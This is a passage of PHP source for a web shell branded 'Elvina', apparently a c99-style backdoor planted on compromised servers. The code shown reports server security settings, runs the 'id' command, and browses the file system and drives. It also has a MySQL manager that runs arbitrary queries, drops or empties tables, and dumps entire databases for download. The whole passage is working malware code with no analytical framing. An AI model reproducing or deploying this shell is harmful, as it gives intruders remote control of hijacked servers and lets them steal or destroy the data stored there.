789if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
790{
791 $safemode = TRUE;
792 $hsafemode = "<font color=#ff0000>ON (secure)</font>";
793}
794else {$safemode = FALSE; $hsafemode = "<font color=#00ff00>Cafe deh (ga Aman NoN)</font>";}
795$v = @ini_get("open_basedir");
796if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "<font color=#ff0000>".$v."</font>";}
797else {$openbasedir = FALSE; $hopenbasedir = "<font color=#00ff00>Cafe deh (ga Aman NoN)</font>";}
798$sort = htmlspecialchars($sort);
799if (empty($sort)) {$sort = $sort_default;}
800$sort[1] = strtolower($sort[1]);
801$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
802if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
803$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));
804@ini_set("highlight.bg",$highlight_bg); //FFFFFF
805@ini_set("highlight.comment",$highlight_comment); //#FF8000
806@ini_set("highlight.default",$highlight_default); //#0000BB
807@ini_set("highlight.html",$highlight_html); //#000000
808@ini_set("highlight.keyword",$highlight_keyword); //#007700
809@ini_set("highlight.string",$highlight_string); //#DD0000
810if (!is_array($actbox)) {$actbox = array();}
811$dspact = $act = htmlspecialchars($act);
812$disp_fullpath = $ls_arr = $notls = null;
813$ud = urlencode($d);
814?>
815<html>
816<head>
817<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
818<meta http-equiv="Content-Language" content="en-us">
819<title>[ Elvina ] witH... <?php echo getenv("HTTP_HOST"); ?></title>
820<style>
821TD {
822 FONT-SIZE: 8pt;
823 COLOR: #ebebeb;
824 FONT-FAMILY: Century Schoolbook L;
825 }
826 BODY {
827 scrollbar-face-color: #a0a0a0;
828 scrollbar-shadow-color: #101010;
829 scrollbar-highlight-color: #101010;
830 scrollbar-3dlight-color: #101010;
831 scrollbar-darkshadow-color: #101010;
832 scrollbar-track-color: #101010;
833 scrollbar-arrow-color: #101010;
834 font-family: Century Schoolbook L;
835 }
836 TD.header {
837 FONT-WEIGHT: normal;
838 FONT-SIZE: 9pt;
839 BACKGROUND: #7d7474;
840 COLOR: white;
841 FONT-FAMILY: Century Schoolbook L;
842 }
843 A {
844 FONT-WEIGHT: normal;
845 COLOR: #dadada;
846 FONT-FAMILY: verdana;
847 TEXT-DECORATION: none;
848 }
849 A:unknown {
850 FONT-WEIGHT: bold;
851 COLOR: #ffffff;
852 FONT-FAMILY: Century Schoolbook L;
853 TEXT-DECORATION: none;
854 }
855 A.Links {
856 COLOR: #ffffff;
857 font-family:Century Schoolbook L
858 TEXT-DECORATION: none;
859 }
860 A.Links:unknown {
861 FONT-WEIGHT: bold;
862 COLOR: #ffffff;
863 TEXT-DECORATION: none;
864 }
865 A:hover {
866 COLOR: #ffffff;
867 TEXT-DECORATION: underline;
868 }
869 .skin0{
870 position:absolute;
871 width:200px;
872 border:2px solid black;
873 background-color:menu;
874 font-family:Century Schoolbook L;
875 line-height:20px;
876 cursor:default;
877 visibility:hidden;
878 }
879 .skin1{
880 cursor: default;
881 font: menutext;
882 position: absolute;
883 width: 145px;
884 background-color: menu;
885 border: 1 solid buttonface;
886 visibility:hidden;
887 border: 2 outset buttonhighlight;
888 font-family:Century Schoolbook L,Geneva, Arial;
889 font-size: 10px;
890 color: black;
891 }.
892 menuitems{
893 padding-left:15px;
894 padding-right:10px;
895 }
896 input{
897 background-color: #000000;
898 font-size: 8pt;
899 color: #FFFFFF;
900 font-family: Georgia;
901 border: 1 solid #666666;
902 }
903 textarea{
904 background-color: #800000;
905 font-size: 8pt;
906 color: #FFFFFF;
907 font-family: Century Schoolbook L;
908 border: 1 solid #666666;
909 }
910 button{
911 background-color: #000000;
912 font-size: 8pt;
913 color: #FFFFFF;
914 font-family:Century Schoolbook L;
915 border: 1 solid #666666;
916 }
917 select{
918 background-color: #000000;
919 font-size: 9pt;
920 color: #FFFFFF;
921 font-family:Century Schoolbook L;
922 border: 1 solid #666666;
923 }
924 option {
925 background-color: #000000;
926 font-size: 9pt;
927 color: #FFFFFF;
928 font-family:Georgia;
929 border: 1 solid #666666;
930 }
931 iframe {
932 background-color: #800000;
933 font-size: 8pt;
934 color: #FFFFFF;
935 font-family: Century Schoolbook L;
936 border: 1 solid #666666;
937 }
938 p {
939 MARGIN-TOP: 0px;
940 MARGIN-BOTTOM: 0px;
941 LINE-HEIGHT: 150%
942 }
943 blockquote{
944 font-size: 8pt;
945 font-family: Courier, Fixed, Arial;
946 border : 8px solid #A9A9A9;
947 padding: 1em;
948 margin-top: 1em;
949 margin-bottom: 5em;
950 margin-right: 3em;
951 margin-left: 4em;
952 background-color: #B7B2B0;
953 }
954 body,td,th {
955 font-family: verdana;
956 color: #d9d9d9;
957 font-size: 10px;
958 }
959 body {
960 background-color: #000000;
961 }
962 </style>
963 </head>
964 <BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0>
965 <center>
966 <TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0" >
967 <tr>
968 <th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2">
969 <pre><strong><font color="#00ffff"><center>
970 </font>
971 :: The Perfect World Can Be Destroyed By s0mEOne ::</font><font color="#00ffff">
972 </font></center></strong></pre></font> ElV1N4 CANTIQ N NARS1S
973 <br></center></th></tr><tr><td><p align="left">
974 <b>Nama Server: <?php echo $DISP_SERVER_SOFTWARE; ?></b> </p>
975 <p align="left"><b>System : <?php echo wordwrap(php_uname(),90,"<br>",1); ?></b> </p>
976 <p align="left"><b>
977 <?php
978 if (!$win) {
979 echo wordwrap(myshellexec("id"),90,"<br>",1);
980 }
981 else
982 {
983 echo get_current_user();}
984 ?>
985 </b> </p>
986 <p align="left"><b>Keamanan? : <?php echo $hsafemode; ?></b></p>
987 <p align="left">
988 <?php
989$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
990if (empty($d)) {$d = realpath(".");}
991elseif(realpath($d)) {$d = realpath($d);}
992$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
993if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
994$d = str_replace("\\\\","\\",$d);
995$dispd = htmlspecialchars($d);
996$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
997$i = 0;
998foreach($pd as $b)
999{
1000 $t = "";
1001 $j = 0;
1002 foreach ($e as $r)
1003 {
1004 $t.= $r.DIRECTORY_SEPARATOR;
1005 if ($j == $i) {break;}
1006 $j++;
1007 }
1008 echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>";
1009 $i++;
1010}
1011echo " ";
1012if (is_writable($d))
1013{
1014 $wd = TRUE;
1015 $wdt = "<font color=#00ff00>[ OK ]</font>";
1016 echo "<b><font color=#00ff00>".view_perms(fileperms($d))."</font></b>";
1017}
1018else
1019{
1020 $wd = FALSE;
1021 $wdt = "<font color=#ff0000>[ Read-Only ]</font>";
1022 echo "<b>".view_perms_color($d)."</b>";
1023}
1024if (is_callable("disk_free_space"))
1025{
1026 $free = disk_free_space($d);
1027 $total = disk_total_space($d);
1028 if ($free === FALSE) {$free = 0;}
1029 if ($total === FALSE) {$total = 0;}
1030 if ($free < 0) {$free = 0;}
1031 if ($total < 0) {$total = 0;}
1032 $used = $total-$free;
1033 $free_percent = round(100/($total/$free),2);
1034 echo "<br><b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>";
1035}
1036echo "<br>";
1037$letters = "";
1038if ($win)
1039{
1040 $v = explode("\\",$d);
1041 $v = $v[0];
1042 foreach (range("a","z") as $letter)
1043 {
1044 $bool = $isdiskette = in_array($letter,$safemode_diskettes);
1045 if (!$bool) {$bool = is_dir($letter.":\\");}
1046 if ($bool)
1047 {
1048 $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[ ";
1049 if ($letter.":" != $v) {$letters .= $letter;}
1050 else {$letters .= "<font color=#00ff00>".$letter."</font>";}
1051 $letters .= " ]</a> ";
1052 }
1053 }
1054 if (!empty($letters)) {echo "<b>Drive yang ke-detect sama v1n4</b>: ".$letters."<br>";}
1055}
1056if (count($quicklaunch) > 0)
1057{
1058 foreach($quicklaunch as $item)
1059 {
1060 $item[1] = str_replace("%d",urlencode($d),$item[1]);
1061 $item[1] = str_replace("%sort",$sort,$item[1]);
1062 $v = realpath($d."..");
1063 if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);}
1064 $item[1] = str_replace("%upd",urlencode($v),$item[1]);
1065 echo "<a href=\"".$item[1]."\">".$item[0]."</a> ";
1066 }
1067}
1068echo "</p></td></tr></table><br>";
1069if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";}
1070echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">";
1071if ($act == "") {$act = $dspact = "ls";}
1072if ($act == "sql")
1073{
1074 $sql_surl = $surl."act=sql";
1075 if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
1076 if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
1077 if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
1078 if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
1079 if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
1080 $sql_surl .= "&";
1081 ?><h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php
1082 if ($sql_server)
1083 {
1084 $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
1085 $err = mysql_smarterror();
1086 @mysql_select_db($sql_db,$sql_sock);
1087 if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}
1088 }
1089 else {$sql_sock = FALSE;}
1090 echo "<b>SQL Manager:</b><br>";
1091 if (!$sql_sock)
1092 {
1093 if (!$sql_server) {echo "NO CONNECTION";}
1094 else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";}
1095 }
1096 else
1097 {
1098 $sqlquicklaunch = array();
1099 $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
1100 $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
1101 $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
1102 $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
1103 $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
1104 $sqlquicklaunch[] = array("Logout",$surl."act=sql");
1105 echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>";
1106 if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}}
1107 echo "</center>";
1108 }
1109 echo "</td></tr><tr>";
1110 if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"> i </font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td> <b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b> </td><td><b>Database</b> </td></tr><form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php }
1111 else
1112 {
1113 //Start left panel
1114 if (!empty($sql_db))
1115 {
1116 ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php
1117 $result = mysql_list_tables($sql_db);
1118 if (!$result) {echo mysql_smarterror();}
1119 else
1120 {
1121 echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>";
1122 $c = 0;
1123 while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>» <a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;}
1124 if (!$c) {echo "No tables found in database.";}
1125 }
1126 }
1127 else
1128 {
1129 ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php
1130 $result = mysql_list_dbs($sql_sock);
1131 if (!$result) {echo mysql_smarterror();}
1132 else
1133 {
1134 ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php
1135 $c = 0;
1136 $dbs = "";
1137 while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;}
1138 echo "<option value=\"\">Databases (".$c.")</option>";
1139 echo $dbs;
1140 }
1141 ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php
1142 }
1143 //End left panel
1144 echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">";
1145 //Start center panel
1146 $diplay = TRUE;
1147 if ($sql_db)
1148 {
1149 if (!is_numeric($c)) {$c = 0;}
1150 if ($c == 0) {$c = "no";}
1151 echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>";
1152 if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
1153 echo "</b></center>";
1154 $acts = array("","dump");
1155 if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
1156 elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";}
1157 elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
1158 elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
1159 elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
1160 elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
1161 elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
1162 elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}
1163 elseif ($sql_tbl_act == "insert")
1164 {
1165 if ($sql_tbl_insert_radio == 1)
1166 {
1167 $keys = "";
1168 $akeys = array_keys($sql_tbl_insert);
1169 foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
1170 if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
1171 $values = "";
1172 $i = 0;
1173 foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
1174 if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
1175 $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
1176 $sql_act = "query";
1177 $sql_tbl_act = "browse";
1178 }
1179 elseif ($sql_tbl_insert_radio == 2)
1180 {
1181 $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
1182 $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
1183 $result = mysql_query($sql_query) or print(mysql_smarterror());
1184 $result = mysql_fetch_array($result, MYSQL_ASSOC);
1185 $sql_act = "query";
1186 $sql_tbl_act = "browse";
1187 }
1188 }
1189 if ($sql_act == "query")
1190 {
1191 echo "<hr size=\"1\" noshade>";
1192 if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
1193 if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
1194 if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\"> <input type=\"submit\" value=\"No\"></form></td></tr></table>";}
1195 }
1196 if (in_array($sql_act,$acts))
1197 {
1198 ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20"> <input type="submit" value="Create"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>"> <input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php
1199 if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";}
1200 if ($sql_act == "newtbl")
1201 {
1202 echo "<b>";
1203 if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";
1204 }
1205 else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
1206 }
1207 elseif ($sql_act == "dump")
1208 {
1209 if (empty($submit))
1210 {
1211 $diplay = FALSE;
1212 echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";
1213 echo "<b>DB:</b> <input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";
1214 $v = join (";",$dmptbls);
1215 echo "<b>Only tables (explode \";\") <b><sup>1</sup></b>:</b> <input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
1216 if ($dump_file) {$tmp = $dump_file;}
1217 else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
1218 echo "<b>File:</b> <input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
1219 echo "<b>Download: </b> <input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
1220 echo "<b>Save to file: </b> <input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
1221 echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";
1222 echo "</form>";
1223 }
1224 else
1225 {
1226 $diplay = TRUE;
1227 $set = array();
1228 $set["sock"] = $sql_sock;
1229 $set["db"] = $sql_db;
1230 $dump_out = "download";
1231 $set["print"] = 0;
1232 $set["nl2br"] = 0;
1233 $set[""] = 0;
1234 $set["file"] = $dump_file;
1235 $set["add_drop"] = TRUE;
1236 $set["onlytabs"] = array();
1237 if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
1238 $ret = mysql_dump($set);
1239 if ($sql_dump_download)
1240 {
1241 @ob_clean();
1242 header("Content-type: application/octet-stream");
1243 header("Content-length: ".strlen($ret));
1244 header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
1245 echo $ret;
1246 exit;
1247 }
1248 elseif ($sql_dump_savetofile)
1249 {
1250 $fp = fopen($sql_dump_file,"w");
1251 if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
1252 else
1253 {
1254 fwrite($fp,$ret);
1255 fclose($fp);
1256 echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";
1257 }
1258 }
1259 else {echo "<b>Dump: nothing to do!</b>";}
1260 }
1261 }
1262 if ($diplay)
1263 {
1264 if (!empty($sql_tbl))
1265 {
1266 if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
1267 $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
1268 $count_row = mysql_fetch_array($count);
1269 mysql_free_result($count);
1270 $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
1271 $tbl_struct_fields = array();
1272 while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
1273 if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
1274 if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
1275 if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
1276 if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
1277 $perpage = $sql_tbl_le - $sql_tbl_ls;
1278 if (!is_numeric($perpage)) {$perpage = 10;}
1279 $numpages = $count_row[0]/$perpage;
1280 $e = explode(" ",$sql_order);
1281 if (count($e) == 2)
1282 {
1283 if ($e[0] == "d") {$asc_desc = "DESC";}
1284 else {$asc_desc = "ASC";}
1285 $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
1286 }
1287 else {$v = "";}
1288 $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
1289 $result = mysql_query($query) or print(mysql_smarterror());
1290 echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";
1291 echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[ <b>Structure</b> ]</a> ";
1292 echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[ <b>Browse</b> ]</a> ";
1293 echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[ <b>Dump</b> ]</a> ";
1294 echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[ <b>Insert</b> ]</a> ";
1295 if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";}
1296 if ($sql_tbl_act == "insert")
1297 {
1298 if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
1299 if (!empty($sql_tbl_insert_radio))
1300 {
1301
1302 }
1303 else
1304 {
1305 echo "<br><br><b>Inserting row into table:</b><br>";
1306 if (!empty($sql_tbl_insert_q))
1307 {
1308 $sql_query = "SELECT * FROM `".$sql_tbl."`";
1309 $sql_query .= " WHERE".$sql_tbl_insert_q;
1310 $sql_query .= " LIMIT 1;";
1311 $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
1312 $values = mysql_fetch_assoc($result);
1313 mysql_free_result($result);
1314 }
1315 else {$values = array();}
1316 echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>";
1317 foreach ($tbl_struct_fields as $field)
1318 {
1319 $name = $field["Field"];
1320 if (empty($sql_tbl_insert_q)) {$v = "";}
